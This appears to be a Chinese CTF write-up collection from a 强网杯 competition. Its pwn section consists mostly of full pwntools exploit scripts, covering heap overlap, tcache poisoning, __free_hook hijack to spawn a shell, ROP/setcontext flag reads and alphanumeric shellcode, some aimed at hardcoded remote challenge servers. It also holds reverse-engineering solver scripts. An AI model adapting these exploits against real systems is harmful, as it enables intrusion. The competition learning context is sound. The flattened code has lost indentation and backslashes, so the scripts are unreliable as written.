下面的图是我这里伪造好的chunk。
伪造好也是随便利用了。
EXP
# encoding:utf-8
from pwn import *
libc=ELF('./libc-2.31.so')
def add(size,data='a'):
p.recvuntil('>> ')
p.sendline('1')
p.recvuntil('ize: ')
p.sendline(str(size))
p.recvuntil('content: ')
p.sendline(str(data))
def show(id):
p.recvuntil('>> ')
p.sendline('2')
p.recvuntil('dex: ')
p.sendline(str(id))
def delete(id):
p.recvuntil('>> ')
p.sendline('3')
p.recvuntil('dex: ')
p.sendline(str(id))
while True:
try:
p=remote('8.140.114.72',1399)
# p=process('./pwn')
for i in range(8):
add(0x1f)
for i in range(7):
add(0x7f)
add(26639)
add(0x1f)
add(0x720-1)
add(0x70-1)
add(0x7f)
delete(17)
add(0x1010-1)
delete(20)
add(0x1f,('x01'*5).ljust(8,'x00')+p64(0x201))
for i in range(7):
delete(i)
for i in range(7):
add(0x20)
add(0x1f,'x60')
for i in range(7):
delete(i+8)
delete(19)
delete(21)
add(0x1018)
for i in range(7):
add(0x80)
add(0x80,p64(0)+'x60')
delete(22)
add(0x147,'x00'*0x140+p64(0))
delete(21)
add(0x146,'x00'*0x138+'x01x01'.ljust(8,'x00'))
delete(23)
add(0xa0-1)
show(21)
p.recvuntil("content: ")
leak_addr=u64(p.recv(6).ljust(8,'x00'))
libcbase=leak_addr-0x1ebbe0
system_addr=libcbase+libc.sym['system']
free_addr=libcbase+libc.sym['__free_hook']
delete(16)
add(0x1f,p64(0)+p64(0x31))
delete(22)
delete(16)
add(0x1f,'a'*0x10+p64(free_addr))
add(0x1f,'/bin/shx00')
add(0x1f,p64(system_addr))
delete(22)
p.interactive()
except Exception as e:
pass
或者
2.[强网先锋]orw
from pwn import*
import pwn
content.log_level='debug'
def add(id,size,content):
p.recvuntil('choice >>n')
p.sendline('1')
p.recvuntil('ndex:n')
p.sendline(str(id))
p.recvuntil('size:n')
p.sendline(str(size))
p.recvuntil('content:n')
p.send(str(content))
def delete(id):
p.recvuntil('choice >>n')
p.sendline('4')
p.recvuntil('ndex:n')
p.sendline(str(id))
shellcode='''
mov r8, rdi
xor rsi,rsi
mov rdi ,r8
mov rax, 2
syscall
mov rdi, rax
mov rsi, r8
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi,r8
mov rdx, 0x30
mov rax, 1
syscall
'''
payload=pwn.asm(shellcode)
add(0,8,'./flagx00'+'n')
add(-25,'a',payload+'n')
delete(0)
p.interactive()
或者
3.[强网先锋]no_output
漏洞
存在栈溢出:
思路
远程存在 real_flag.txt 读入后 unk_804C080 是 0x3
在 read(0, buf, 0x30u); 输入 x00 覆盖 unk_804C080 为 0x00 ,实现向 src 输入,输入对应内容进入 if 内
输入对应值后进入 if 内,配置了一个浮点数错误的 signal :在发生致命的算术运算错误时发出,不仅包括浮点运算错误,还包括溢出及除数为0等其它所有的算术的错误。由于 v1 固定是 1 ,所以这种制造错误的方法 pass 。不一定要是被 0 除以。2 的补码 INT_MIN/-1 除法陷阱也行:
-2147483648/-1
产生错误之后跳转运行栈溢出函数
EXP
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
# p = process("./test")
p = remote("39.105.138.97",1234)
libc = ELF("/lib/i386-linux-gnu/libc-2.27.so")
elf = ELF("./test")
# gdb.attach(p,"b *0x80494c0")
# gdb.attach(p,"b *0x080492E2")
# gdb.attach(p,"b *0x0804925B")
# raw_input()
p.send('x00'*2)
sleep(0.1)
p.send('./flag'.rjust(0x20,'a'))
sleep(0.2)
p.sendline("hello_boy")
sleep(0.2)
p.sendline("-2147483648")
sleep(0.2)
p.sendline("-1")
bss = 0x0804c07c-2
payload = 'a'*0x48+'b'*0x4
# payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(0x0804C060+0x100)+p32(0x100)
payload += p32(elf.plt['open'])+p32(0x08049582)+p32(bss)+p32(0)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(4)+p32(0x0804C060+0x200)+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(0)+p32(elf.got['read'])+p32(0x100)
payload += p32(elf.plt['read'])+p32(0x08049581)+p32(1)+p32(0x0804C060+0x200)+p32(0x100)
# payload += p32(0x0804944B)
p.sendline(payload)
# gdb.attach(p,"b *0x080492E2")
# raw_input()
# p.send("./flagx00")
p.send('x30xfe')
sleep(0.2)
flag = p.recv(timeout=1)
print flag
# if '{' not in flag:
# p.close()
# return 0
p.interactive()
4.babypwn
offbynull 造成堆块重叠,然后攻击 stdout 泄露 libc ,有沙盒限制系统调用
libc是2.27的
保护全开。
还开了沙箱。
你会看到arch只能是x86_64,系统调用号小于0x40000000的时候除了execve都可以,大于等于0x40000000的时候只能是0xffffffff。
经典增删改查。
add
最多17个chunk,chunk的大小最大0x200.地址跟发小都放在了bss上面。
delete
清理的很干净
edit
edit也看着没啥,里面有个函数,进去看看。
会把所有的’\x11’变成’\x00’,但是问题就出在它没有边界,仅仅是到’\x00’就停而已。那么我们就可以有越界,来造成off by null。
show
输出都点不大正常。首先发现它是前后四个字节分开的。
然后看一下那个输出函数。
加密的,好家伙
先后四个字节分开,把四个字节当成一个整数传下去,然后经过加密,输出的是加密后的16进制,所以我们一会在使用这个函数的时候要注意写好解密算法。
最后发现有个工具,z3(https://cloud.tencent.com/developer/article/1423409)
这些chunk都是因为沙箱提前开的一些。
总的思路其实也就是说off by null + 借用setcontext来进行orw。orw没啥好说的,因为free通过rdi传参,所以我们劫持free_hook。
off by null我们还是有两种思路,一种是unlink,一种是off by null。
unlink还是通过在第一个chunk中伪造chunk,需要在堆中做一个unlink的bypass,只需要三个chunk,另外一种是off by null,需要四个chunk,制造overlap,leak libc跟tcache posioning。
都来写一下,首先时unlink。
先通过chunk的残留地址把libc,heap地址都泄露出来
我们申请了三个chunk,都不需要在第一个chunk中伪造chunk,因为我们不需要做过分的overlap,正常一点就行,off by null改掉第二个chunk的size,然后利用第三个chunk把check bypass掉。两次申请,直接tcacahe posioning。
这个是利用setcontext的对比图。
从这个地方开始就开始利用堆上提前写好的内容。
要说的是在我们利用syscall的时候,要注意libc.sym找到的syscall会在上面清零rdi rsi,而ropgadget找到的又只有syscall没有ret,所以我们只能利用libc找到的syscall从中间截取一段,也就是从syscall+23地方开始。
EXP
from pwn import*
# context.log_level='debbug'
elf=ELF('babypwn')
libc=ELF('./libc.so.6')
p=process('./babypwn',env={'LD_PRELOAD':'./libc.so.6'})
#p=process('./babypwn')
def add(size):
p.recvuntil('>>> n')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))
def edit(id,content):
p.recvuntil('>>> n')
p.sendline('3')
p.recvuntil('index:')
p.sendline(str(id))
p.recvuntil('content:')
p.send(str(content))
def delete(id):
p.recvuntil('>>> n')
p.sendline('2')
p.recvuntil('index:')
p.sendline(str(id))
def show(id):
p.recvuntil('>>> n')
p.sendline('4')
p.recvuntil('index:')
p.sendline(str(id))
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
add(0xf0)
for i in range(9,3,-3):
delete(i)
for i in range(7):
delete(10+i)
delete(1)
delete(0)
add(0x108)
edit(2,'b'*0xf0+p64(0)+p64(0x21))
edit(3,(p64(0)+p64(0x21))*7)
edit(0,'b'*0x108)
edit(0,'b'*0x100+p64(0x220))
delete(3)
delete(2)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x100)
add(0x200)
add(0x100)
delete(6)
delete(5)
delete(3)
delete(0)
edit(8,'a'*0x108+p64(0x110)+'x18x80')
edit(9,p64(0)+'x60xe7')
add(0x100)
add(0x100)
add(0x100)
payload=p64(0xfbad1887)+p64(0)*3+'x00'
edit(5,payload)
p.recvuntil('x00'*8)
lead_addr=u64(p.recv(8))
libc_base=lead_addr-(0x7ffff7dcf8b0-0x00007ffff79e2000)
delete(4)
delete(1)
delete(0)
free_addr=libc_base+libc.sym['__free_hook']
edit(8,'a'*0x108+p64(0x110)+p64(free_addr))
add(0x100)
add(0x100)
add(0x100)
gadget=libc_base+0x520A5
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']
poprdi=libc_base+0x000000000002155f
poprsi=libc_base+0x0000000000023e6a
poprdx=libc_base+0x0000000000001b96
flag=free_addr+0xb0
add=free_addr
payload=p64(gadget)+p64(poprdi)+p64(flag)+p64(poprsi)+p64(0)+p64(open_addr)+p64(poprdi)+p64(3)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(read_addr)
payload+=p64(poprdi)+p64(1)+p64(poprsi)+p64(flag)+p64(poprdx)+p64(0x30)+p64(write_addr)
edit(1,payload.ljust(0xa0,'x00')+p64(add)+p64(poprdi)+'./flag')
# gdb.attach(p)
# raw_input()
delete(1)
p.interactive()
或者
import os
import sys
import subprocess
from pwn import *
context.arch = "amd64"
context.log_level = "debug"
elf_addr = "./babypwn"
pro_libc = "./libc.so.6"
# sh = remote("39.105.130.158",8888)
sh = process(elf_addr)
elf = ELF(elf_addr)
def add(size):
sh.recvuntil(">> \n")
sh.sendline("1")
sh.recvuntil("size:\n")
sh.sendline(str(size))
def show(idx):
sh.sendlineafter(">> \n","4")
sh.sendlineafter("index:\n",str(idx))
def edit(idx,content):
sh.sendlineafter(">> \n","3")
sh.sendlineafter("index:\n",str(idx))
sh.sendlineafter("content:\n",content)
def free(idx):
sh.sendlineafter(">> \n","2")
sh.sendlineafter("index:\n",str(idx))
def encode(a1):
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
d1 = (32*a1)&0xffffffff
d2 = d1^a1
d3 = d2>>17
d4 = ((d2 ^ d3) << 13)&0xffffffff
a1 ^= d1 ^ d3 ^ d4
return hex(a1)[2:]
def decode_1(a):
log.progress("decode_1")
for i in range(0x0, 0xff):
head = chr(i)+"\x7f\x00\x00"
if encode(u32(head))==str(a, encoding='utf-8'):
success("ok~ decode_1")
return head
def decode_2(a):
log.progress("decode_2")
for i1 in range(0x0, 0xff):
for i2 in range(0, 0xff):
for i3 in range(2, 0xff, 0x10):
last = "\x10"+chr(i3)+chr(i2)+chr(i1)
if encode(u32(last)) ==str(a, encoding='utf-8'):
success("ok~ decode_2")
return last
# off by null; overlaping 堆块向前合并
add(0xf8) #0
for i in range(7): #1-7
add(0xf8)
add(0x108) #8
add(0x108) #9
for i in range(1,8): #1-7
free(i)
free(0)
edit(8, b"a"*0x108)
edit(8, b"b"*0x100+p64(0x910))
edit(9, b"\x00"*0xf8+p64(0x11))
free(9)
for i in range(7): # 0-6
add(0xf8)
add(0x200) # idx_7 have idx_0-1
show(7)
a2 = sh.recv(8)
sh.recvuntil("\n")
a1 = sh.recv(8)
success("a1 => %s",a1)
success("a2 => %s",a2)
print(encode(0x7fff))
head = decode_1(a1)
last = decode_2(a2)
main_arena1488 = u64(last+head)
success("main_arena96 => 0x%x",main_arena1488)
libc_base = main_arena1488-1488-0x10-libc.sym["__malloc_hook"]
success("libc_base => 0x%x",libc_base)
free_hook = libc_base+libc.sym["__free_hook"]
setcontext = libc_base+libc.sym["setcontext"]
free(5)
free(6)
payload = flat([
"\x00"*0xf8,
p64(0x101)+p64(free_hook-8)
])
edit(7, payload)
add(0xf8)
add(0xf8)
shellcode = """
push 1
dec byte ptr [rsp]
mov rax, 0x7478742e67616c66
push rax
/* call open('rsp', 'O_RDONLY', 0) */
push 2 /* 2 */
pop rax
mov rdi, rsp
xor esi, esi /* O_RDONLY */
cdq /* rdx=0 */
syscall
/* call sendfile(1, 'rax', 0, 0x7fffffff) */
mov r10d, 0x7fffffff
mov rsi, rax
push 40 /* 0x28 */
pop rax
push 1
pop rdi
cdq /* rdx=0 */
syscall
"""
payload2 = flat(["/bin/sh\x00",
p64(setcontext + 53),
p64(free_hook + 0x10),
asm(shellcode)
])
edit(6, payload2)
frame = SigreturnFrame()
frame.rsp = free_hook + 0x8
frame.rdi = (free_hook) & 0xfffffffffffff000
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base+libc.sym['mprotect']
edit(7, bytes(frame))
free(7)
sh.interactive()
5.[强网先锋]shellcode
写 shellcode 题目。分类为禁用 write 和 system ,限制 shellcode 为可见字符串类型。禁用 write 思路和蓝帽杯 slient 思路一样,读取 flag 到内存中然后比较,爆破得出 flag 。限制可见字符串类型,参考 mrctf2020_shellcode_revenge 将 shellcode 转换为可见字符串,alpha3 转换结果错误,改用 AE64 转换成功。
https://www.codenong.com/cs105236336/
https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/
参考 https://n0va-scy.github.io/2020/06/21/shellcode%E7%9A%84%E8%89%BA%E6%9C%AF/ 实现读取 flag 到栈上,后面就用蓝帽杯思路比较字符
EXP
# encoding:utf-8
from pwn import *
from ae64 import AE64
# context.log_level = 'debug'
# context.terminal = ['tmux','sp','-h']
file = context.binary = './shellcode'
obj = AE64()
append_x86 = '''
push ebx
pop ebx
'''
shellcode_x86 = '''
/*fp = open("flag")*/
mov esp,0x40404140
push 0x67616c66
push esp
pop ebx
xor ecx,ecx
mov eax,5
int 0x80
mov ecx,eax
/* read(fp,buf,0x70) */
/*mov eax,3*/
/*push 0x70*/
/*push ebx*/
/*push 3*/
/*int 0x80*/
'''
shellcode_flag = '''
push 0x33
push 0x40404089
retfq
/*read(fp,buf,0x70)*/
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''
shellcode_x86 = asm(shellcode_x86,arch = 'i386',os = 'linux',bits='32')
shellcode_flag = asm(shellcode_flag,arch = 'amd64',os = 'linux')
shellcode = ''
append = '''
push rdx
pop rdx
'''
# 0x40404040 为32位shellcode地址
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,7,34,0,0)*/
push 0x40404040 /*set rdi*/
pop rdi
push 0x7e /*set rsi*/
pop rsi
push 0x40 /*set rdx*/
pop rax
xor al,0x47
push rax
pop rdx
push 0x40 /*set r8*/
pop rax
xor al,0x40
push rax
pop r8
push rax /*set r9*/
pop r9
/*syscall*/
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x31],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x32],cl
push 0x22 /*set rcx*/
/*pop rcx*/
pop r10
push 0x40/*set rax*/
pop rax
xor al,0x49
syscall
'''
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
push 0x40404040
pop rsi
push 0x40
pop rax
xor al,0x40
push rax
pop rdi
xor al,0x40
push 0x70
pop rdx
push rbx
pop rax
push 0x5d
pop rcx
xor byte ptr[rax+0x57],cl
push 0x5f
pop rcx
xor byte ptr[rax+0x58],cl
push rdx
pop rax
xor al,0x70
syscall
'''
shellcode_retfq = '''
push rbx
pop rax
xor al,0x40
push 0x72
pop rcx
xor byte ptr[rax+0x40],cl
push 0x68
pop rcx
xor byte ptr[rax+0x40],cl
push 0x47
pop rcx
sub byte ptr[rax+0x41],cl
push 0x48
pop rcx
sub byte ptr[rax+0x41],cl
push rdi
push rdi
push 0x23
push 0x40404040
pop rax
push rax
retfq
'''
shellcode = ''
shellcode += shellcode_mmap
shellcode += append
shellcode += shellcode_read
shellcode += append
shellcode += shellcode_retfq
shellcode += append
sc = obj.encode(asm(shellcode),'rbx')
#p=process(file)
# gdb.attach(p,"b *0x40026D")
# gdb.attach(p,"b *0x7ffff7ff9102")
# raw_input()
# p.send(sc)
# pause()
# p.sendline(shellcode_x86 + 0x29*'x90' + shellcode_flag)
# print p.recv()
# p.interactive()
def pwn(p, index, ch):
#gdb.attach(p,"b *0x40026D")
#pause()
p.send(sc)
shellcode=''
if index == 0:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-3; ret".format(index, ch)
else:
shellcode += "cmp byte ptr[rsi+{0}], {1}; jz $-4; ret".format(index, ch)
p.sendline(shellcode_x86 + 0x29*'x90'+ shellcode_flag + asm(shellcode))
#print p.recv()
#p.interactive()
index = 0
a = []
while True:
for ch in range(20, 127):
p = remote('39.105.137.118','50050')
# p=process(file)
pwn(p, index, ch)
start = time.time()
try:
p.recv(timeout=2)
except:
pass
end = time.time()
p.close()
if end-start > 1.5:
a.append(ch)
print("".join([chr(i) for i in a]))
break
else:
print("".join([chr(i) for i in a]))
break
index = index + 1
print("".join([chr(i) for i in a]))
6.no output(栈迁移):
你不给输出咱wepn的pwn垃圾就是要打个输出出来, 不图别的, 诶, 就是玩儿~
检查一下程序, 发现是partial relro, 所以就想改got表, 在动态捣鼓了一段时间后发现, open函数和write函数只有倒数第一, 第二位是不同的, 于是就想修改open为write用于之后泄露, 而且还是no pie这不是乱打?
然后就是基本栈迁移, 找个好点的地给ebp和esp日后躺着, 我找的是差不多是0x804c00+0xa00, 至于为什么要再加上0xa00是因为如果不加, 日后system函数在执行的时候会将栈地址减到0x804b00左右, 而这地址不可写, 会在mov时报错
说了这么多奇奇怪怪的准备, 那么说说总思路, 两次输入’\x00’后进入第二个函数, 第二个函数分别输入int32 min和-1触发8号信号进入read, 之后先进行一次栈溢出到我们的fake stack地址, 同时输入后面要用gadget之类的东东, fake stack上再写入read(0, elf.got[‘open’], 0x100), 修改其为write, 之后维护好栈后再触发call open就相当于write(1, elf.got[‘read’], 0x4), 就泄露了地址, 后面再维护一下栈就可以getshell了
exp如下:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./test')
#sh=remote('39.105.138.97',1234)
elf=ELF("./test")
libc=elf.libc
context.log_level='debug'
context.arch='i386'
leave_ret=0x80491a5
ret_addr=0x0804900e
read_100_addr=0x08049236
def pwn():
sh.sendline('\x00'*1)
print str(proc.pidof(sh))
#gdb.attach(sh, '''b *0x080492a8''')
payload=p8(0)*2
#pause()
sh.sendline(payload)
sleep(1)
sh.sendline(str(-2147483648))
sh.sendline(str(-1))
payload1=p32(0)*0x12+p32(0x0804C0B0-4+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0b0-4+0xa00)+p32(0x1000)
payload2=p32(0x804c0c4+0xa00)+p32(0x804925b)+p32(0)+p32(elf.got['open'])+p32(0x100)+p32(leave_ret)+p32(0x804c0e0+0xa00)+p32(0x804936F)+p32(1)+p32(elf.got['read'])+p32(0x4)+p32(0)*2+p32(0x804c100+0xa00)+p32(0x804925b)+p32(0)+p32(0x804c0fc+0xa00)+p32(0x100)
sh.sendline(payload1)
#pause()
sh.sendline(payload2)
#pause()
sh.send(p16(0x4c90))
read_addr=u32(sh.recv())
log.success("read addr: "+hex(read_addr))
libc.address=read_addr-libc.sym['read']
log.success("system addr: "+hex(libc.sym['system']))
libc_base=read_addr-libc.sym['read']
sh.sendline(p32(0)+p32(0x804c200+0xa00)+p32(libc.sym['system'])+p32(0)+p32(libc.search('/bin/sh').next()))
sh.interactive()
while True:
#sh=process('./test')
sh=remote('39.105.138.97',1234)
try:
pwn()
except:
sh.close()
7.pipeline
libc2.31
堆溢出
配合对风水直接修改pipe->data, 实现任意地址修改,
漏洞主要是写入data的时候v1是有符号16位,
后面进入函数以后是无符号整数, 会从int 16为拓展为unsigned int 64,
这里的绕过可以在前面if (size <= v1) 使用v1为负数, 然后进入my_read 函数以后截取后部分这里会拓展为int类型, 这时候可以让后半部分为正数, 我们构造出来一个0xf0f00f0f的输入, 即可在后面实现配合堆风水,改掉对应的pipe->data位, 实现任意地址写
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux","new-window"]
p = remote("59.110.173.239", 239)
#p = process("./pipeline"l)
libc = ELF("./libc-2.31.so")
def new():
p.recvuntil(">> ")
p.sendline("1")
def edit(index, size):
p.recvuntil(">> ")
p.sendline("2")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("offset: ")
p.sendline(str(0))
p.recvuntil("size: ")
p.sendline(str(size))
def destroy(index):
p.recvuntil(">> ")
p.sendline("3")
p.recvuntil("index: ")
p.sendline(str(index))
def append(index, size, data):
p.recvuntil(">> ")
p.sendline("4")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("data: ")
p.sendline(data)
def show(index):
p.recvuntil(">> ")
p.sendline("5")
p.recvuntil("index: ")
p.sendline(str(index))
p.recvuntil("data: ")
new()
new()
new()
edit(0,0x68)
edit(1,0x68)
edit(0,0)
edit(1,0)
edit(1,0x68)
edit(0,0x450)
edit(1,0x78)
edit(0,0)
edit(0,0x18)
show(0)
#leak libc
libc_base = u64(p.recv(6).ljust(8,b"\x00")) - 96 - libc.symbols["__malloc_hook"] - 0x10 - 0x400
#getshell
new()
payload = b'b'*0x18 + p64(0x21)
payload += p64(libc_base + libc.symbols["__free_hook"])
payload += p32(0) + p32(0x100)
append(0, 0x80000100, payload)
#gdb.attach(p)
append(3, 0x20, p64(libc_base + libc.symbols["system"]))
append(0, 0x20, '/bin/sh\x00')
edit(0,0)
log.info("libc_base------------------>"+hex(libc_base))
p.interactive()
RE
1.ezmath
import codecs
t=[0.00009794904266317233, 0.00010270456917442, 0.00009194256152777895,
0.0001090322021913372, 0.0001112636336217534, 0.0001007442677411854,
0.0001112636336217534, 0.0001047063607908828, 0.0001112818534005219,
0.0001046861985862495, 0.0001112818534005219, 0.000108992856167966,
0.0001112636336217534, 0.0001090234561758122, 0.0001113183108652088,
0.0001006882924839248, 0.0001112590796092291, 0.0001089841164633298,
0.00008468431512187874]
div = 2.718281828459045
def c(n):
t_int = int(div // n)
print(hex(t_int))
if abs(t_int * n - div) < abs((t_int - 1) * n - div):
t_int -=1
t_hex = hex(t_int)[2:]
t_chr = codecs.decode(t_hex,'hex')
return t_chr[::-1].decode()
for i in t:
print(c(i),end='n')
2.LongTimeAgo
def xt_dec(num, enc, k):
value0 = enc[0]
value1 = enc[1]
data = 0x70C88617
sum = 0xE6EF3D20
for i in range(num):
value1 -= (((value0 << 4) ^ (value0 >> 5)) + value0) ^ (sum + k[(sum >> 11) & 3])
value1 &= 0xffffffff
sum += data
value0 -= (((value1 << 4) ^ (value1 >> 5)) + value1) ^ (sum + k[sum & 3])
value0 &= 0xffffffff
return (value0, value1)
def t_dec(enc, k):
value0 = enc[0]
value1 = enc[1]
sum = 0xa6a53780
data = 0x3D3529BC
for i in range(32):
value1 -= ((value0 << 4) + k[2]) ^ (value0 + sum) ^ ((value0 >> 5) + k[3])
value1 &= 0xffffffff
value0 -= ((value1 << 4) + k[0]) ^ (value1 + sum) ^ ((value1 >> 5) + k[1])
value0 &= 0xffffffff
sum -= data
return (value0, value1)
encode = [0x1F306772, 0xB75B0C29, 0x4A7CDBE3, 0x2877BDDF, 0x1354C485, 0x357C3C3A, 0x738AF06C, 0x89B7F537]
for i in range(0, 4, 2):
encode[i] ^= 0xfd
encode[i + 1] ^= 0x1fd
for i in range(4, 8, 2):
encode[i] ^= 0x3fd
encode[i + 1] ^= 0x7fd
k = [0xfffd, 0x1fffd, 0x3fffd, 0x7fffd]
result = ''
for i in range(0, 4, 2):
a = xt_dec(32, encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
for i in range(4, 8, 2):
a = t_dec(encode[i:], k)
result += hex(a[0])[2:] + hex(a[1])[2:]
print("QWB{" + result.upper() + "}")
3.StandOnTheGiants
题目的 java 层没什么代码,输入后直接调用 native 校验。校验函数伪代码如下:
v3 = env;
v4 = 0;
v20 = a3;
v5 = (*env)->GetStringUTFChars(env, a3, 0);
v6 = strlen(v5);
v8 = malloc(2 * v6 + 4);
v9 = v8;
while ( v6 != v4 )
{
hex_byte_52318(v9, -1, v7, v5[v4]);
v9 += 2;
++v4;
}
ctx = BN_CTX_new_5235C();
BN_CTX_start_5249C(ctx);
bn_m = BN_CTX_get_5264C(ctx);
BN_set_5BB08(&bn_m, v8);
free(v8);
bn_N = BN_CTX_get_5264C(ctx);
bn_e = BN_CTX_get_5264C(ctx);
_aeabi_memcpy8(temp, byte_2C6B0, 0xD1);
for ( i = 0; i != 0xD1; ++i )
temp[i] ^= 0x3Du;
BN_set_5BB08(&bn_N, temp);
_aeabi_memclr8(temp, 209);
v12 = 0;
v21 = 0;
v22 = 0;
while ( v12 != 6 )
*(&v21 + v12++) ^= 0x30u;
++BYTE1(v21);
++BYTE1(v22);
BN_set_5BB08(&bn_e, &v21);
v21 = 0;
v22 = 0;
bn_c = BN_CTX_get_5264C(ctx);
BN_powmod_529BC(bn_c, bn_m, bn_e, bn_N, ctx);
v14 = sub_565A8(bn_c);
v15 = malloc((v14 + 7) / 8);
v16 = sub_56EB8(bn_c, v15);
BN_CTX_end_525B8(ctx);
BN_CTX_free_523E8(ctx);
v17 = calloc(3u, v16);
base64_52044(v15, v17, v16, 0);
free(v15);
v18 = strcmp(
"bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG"
"+/lmqEysrTdSD+eP+moP+l?+Np/oK=",
v17);
free(v17);
(*v3)->ReleaseStringUTFChars(v3, v20, v5);
result = _stack_chk_guard;
if ( _stack_chk_guard == v27 )
result = v18;
return result;
静态编码了 openssl,利用其大数库实现了 RSA 加密。RSA 中的 n 是可查询到的。所以反解就容易了,唯一麻烦的是 base64 的反解。程序中使用的 base64 表中字符并不都是唯一的,有两个字符是重复的,所以还是要跑下,代码如下:
# -*- coding:utf-8 -*-
import base64
import gmpy2
import string,itertools
t1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ*+,-./:;?@12'
t2 = string.uppercase+string.lowercase+string.digits+'+/'
def main():
# a = [ 0x0C, 0x0E, 0x0F, 0x0C, 0x79, 0x0F, 0x7B, 0x79, 0x79, 0x79,
# 0x78, 0x05, 0x7F, 0x79, 0x04, 0x79, 0x7B, 0x7B, 0x0E, 0x0A,
# 0x04, 0x7C, 0x7B, 0x7B, 0x0D, 0x0E, 0x0D, 0x79, 0x78, 0x0F,
# 0x0D, 0x08, 0x7F, 0x05, 0x09, 0x0B, 0x78, 0x7F, 0x08, 0x7E,
# 0x78, 0x7E, 0x7E, 0x09, 0x0D, 0x7B, 0x7C, 0x05, 0x7C, 0x7C,
# 0x04, 0x7E, 0x0F, 0x7C, 0x05, 0x08, 0x7E, 0x78, 0x0E, 0x78,
# 0x04, 0x04, 0x0F, 0x0C, 0x04, 0x0E, 0x78, 0x05, 0x0A, 0x0E,
# 0x7F, 0x0F, 0x7F, 0x7E, 0x0B, 0x0B, 0x0A, 0x79, 0x7C, 0x7F,
# 0x78, 0x0F, 0x7C, 0x7E, 0x0E, 0x78, 0x78, 0x04, 0x79, 0x79,
# 0x0F, 0x0E, 0x7F, 0x0E, 0x7C, 0x04, 0x78, 0x79, 0x04, 0x78,
# 0x7E, 0x0D, 0x7E, 0x0E, 0x7E, 0x0A, 0x09, 0x09, 0x08, 0x0B,
# 0x0B, 0x0E, 0x7B, 0x08, 0x09, 0x08, 0x08, 0x09, 0x0B, 0x04,
# 0x7F, 0x0A, 0x0F, 0x0A, 0x79, 0x79, 0x0B, 0x7B, 0x7F, 0x7E,
# 0x0D, 0x0E, 0x7F, 0x0C, 0x7F, 0x7B, 0x04, 0x08, 0x79, 0x0D,
# 0x0E, 0x7C, 0x0C, 0x0E, 0x7E, 0x0D, 0x0E, 0x0B, 0x05, 0x0B,
# 0x09, 0x08, 0x0A, 0x0B, 0x0A, 0x0B, 0x0E, 0x0D, 0x7E, 0x0A,
# 0x78, 0x7C, 0x7F, 0x7B, 0x08, 0x78, 0x0A, 0x7C, 0x7F, 0x08,
# 0x7B, 0x7C, 0x0F, 0x0A, 0x7F, 0x04, 0x09, 0x7C, 0x79, 0x78,
# 0x0A, 0x78, 0x0C, 0x78, 0x0F, 0x0E, 0x7F, 0x7E, 0x7E, 0x0B,
# 0x08, 0x79, 0x0F, 0x7C, 0x0A, 0x79, 0x78, 0x79, 0x0C, 0x7E,
# 0x08, 0x7F, 0x0E, 0x0B, 0x09, 0x7F, 0x08, 0x0C, 0x3D,]
# b = map(lambda x:chr(x^0x3d),a)
# print(''.join(b))
n = 0x1321D2FDDDE8BD9DFF379AFF030DE205B846EB5CECC40FA8AA9C2A85CE3E992193E873B2BC667DABE2AC3EE9DD23B3A9ED9EC0C3C7445663F5455469B727DD6FBC03B1BF95D03A13C0368645767630C7EABF5E7AB5FA27B94ADE7E1E23BCC65D2A7DED1C5B364B51
p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert(n==p*q)
e = 0x10001
s='bborOT+ohG*,U:;@/gVIAZ-,t++LaZkOrk?UcSOKJ?p-J+vuSN?:e,Kc/?h-oH?:tthoqYYSPp-ZC+Yw:*jrxPymGYO/PvDOIivNYtvJ?Mi*GG+/lmqEysrTdSD+eP+moP+l?+Np/oK='
t = string.maketrans(t1,t2)
ite1 = itertools.product('+1',repeat=10)
idx1 = [6,25,26,45,77,110,123,126,130,133]
idx2 = [22,43,59,74]
for it1 in ite1:
ite2 = itertools.product('-2',repeat=4)
for it2 in ite2:
l = list(s)
for i in range(10):
l[idx1[i]] = it1[i]
for i in range(4):
l[idx2[i]] = it2[i]
c = string.translate(''.join(l),t)
d = gmpy2.invert(e,(p-1)*(q-1))
tmp = base64.b64decode(c).encode('hex')
tmp = int(tmp,16)
m = gmpy2.powmod(tmp,d,n)
tmp = hex(m)[2:].replace('L','')
if len(tmp) % 2 != 0:
tmp = '0'+tmp
